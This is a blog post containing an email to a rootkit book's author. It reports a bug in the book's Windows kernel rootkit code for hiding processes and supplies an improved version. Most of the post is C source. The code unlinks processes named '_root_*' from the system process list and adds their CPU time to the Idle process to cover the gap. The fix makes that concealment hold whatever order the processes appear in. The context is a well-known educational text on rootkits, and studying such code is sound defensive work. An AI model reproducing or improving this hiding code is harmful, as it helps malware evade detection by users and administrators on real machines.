Bug-fix of the BASIC ROOTKIT source code that hides processes

"루트킷, 윈도우 커널 조작의 미학"이라는 책을 읽다가 소스 코드에 버그가 있는듯 싶어 변경해봤습니다.

아직 답변은 없네요~

invalid-file

Dear Greg Hoglund,

I am a big fan of you and your book, "Subverting the Windows Kernel, ROOTKITS". Your book gave me a map to be a hacker. I mean not a cracker. I love it! ;-)
BTW, I am writing email to you regarding a bug of the BASIC ROOTKIT source code that hides processes, basic_mdl_flags.c file.

You considered the situation that total kernel time and total user time is not 100% because the code hides "_root_*" processes. That's good.
But the problem is that you assume that "_root_*" processes are always followed by Idle process. Is it true? What if the Idle process is followed by "_root_*" processes? (Of course, it might not happen)
In that case, you cannot make up the time because when you add the kernel and user times of "_root_*" processes, m_UserTime.QuadPart and m_KernelTime.QuadPart are both 0 (Zero).
To fix this problem, I am suggesting the following code. The modified code doesn't depend on the sequence of processes.

I attached the modified version.

Best regards,
Woo.

/////////////////////////////////////////////////////////////////////// // Original version // // From 125 line /////////////////////////////////////////////////////////////////////// if( NT_SUCCESS(ntStatus)) { // Asking for a file and directory listing if(SystemInformationClass == 5) { // This is a query for the process list. // Look for process names that start with // '_root_' and filter them out. struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) { //DbgPrint("Current item is %x\n", curr); if (curr->ProcessName.Buffer != NULL) { if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12)) { m_UserTime.QuadPart += curr->UserTime.QuadPart; m_KernelTime.QuadPart += curr->KernelTime.QuadPart; if(prev) // Middle or Last entry { if(curr->NextEntryDelta) prev->NextEntryDelta += curr->NextEntryDelta; else // we are last, so make prev the end prev->NextEntryDelta = 0; } else { if(curr->NextEntryDelta) { // we are first in the list, so move it forward (char *)SystemInformation += curr->NextEntryDelta; } else // we are the only process! SystemInformation = NULL; } } } else // This is the entry for the Idle process { // Add the kernel and user times of _root_* // processes to the Idle process. curr->UserTime.QuadPart += m_UserTime.QuadPart; curr->KernelTime.QuadPart += m_KernelTime.QuadPart; // Reset the timers for next time we filter m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; } prev = curr; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } }

/////////////////////////////////////////////////////////////////////// // Modified version /////////////////////////////////////////////////////////////////////// if( NT_SUCCESS(ntStatus)) { // Asking for a file and directory listing if(SystemInformationClass == 5) { // This is a query for the process list. // Look for process names that start with // '_root_' and filter them out. struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; // [naggingmachine] // struct _SYSTEM_PROCESSES *idle = NULL; while(curr) { //DbgPrint("Current item is %x\n", curr); if (curr->ProcessName.Buffer != NULL) { if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12)) { m_UserTime.QuadPart += curr->UserTime.QuadPart; m_KernelTime.QuadPart += curr->KernelTime.QuadPart; if(prev) // Middle or Last entry { if(curr->NextEntryDelta) prev->NextEntryDelta += curr->NextEntryDelta; else // we are last, so make prev the end prev->NextEntryDelta = 0; } else { if(curr->NextEntryDelta) { // we are first in the list, so move it forward (char *)SystemInformation += curr->NextEntryDelta; } else // we are the only process! SystemInformation = NULL; } } } else // This is the entry for the Idle process { // [naggingmachine] // // Save the pointer of Idle process to update // its kernel and user time later. // idle = curr; } prev = curr; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } // [naggingmachine] // // Found Idel process? // if ( NULL != idle ) { // Add the kernel and user times of _root_* // processes to the Idle process. idle->UserTime.QuadPart += m_UserTime.QuadPart; idle->KernelTime.QuadPart += m_KernelTime.QuadPart; // Reset the timers for next time we filter m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; } }